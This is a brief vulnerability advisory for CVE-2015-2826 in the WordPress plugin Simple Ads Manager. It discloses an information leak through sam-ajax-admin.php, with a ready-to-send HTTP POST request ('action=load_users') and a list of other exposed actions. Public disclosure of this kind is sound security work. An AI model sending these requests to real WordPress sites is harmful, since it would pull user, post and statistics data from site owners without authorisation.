WordPress Plugin Simple Ads Manager - Information Disclosure

#Vulnerability title: Wordpress plugin Simple Ads Manager - Information Disclosure
#Product: Wordpress plugin Simple Ads Manager
#Vendor: https://profiles.wordpress.org/minimus/
#Affected version: Simple Ads Manager 2.5.94 and 2.5.96
#Download link: https://wordpress.org/plugins/simple-ads-manager/
#CVE ID:  CVE-2015-2826
#Author: Nguyen Hung Tuan (tuan.h.nguyen@itas.vn) & ITAS Team


::PROOF OF CONCEPT::

+ REQUEST
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 17

action=load_users



+ Function list: load_users, load_authors, load_cats, load_tags, load_posts, posts_debug, load_stats,...
+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php
+ Image: http://www.itas.vn/uploads/newsother/disclosure.png

+ REFERENCE: 
- http://www.itas.vn/news/ITAS-Team-found-out-multiple-critical-vulnerabilities-in-Hakin9-IT-Security-Magazine-78.html?language=en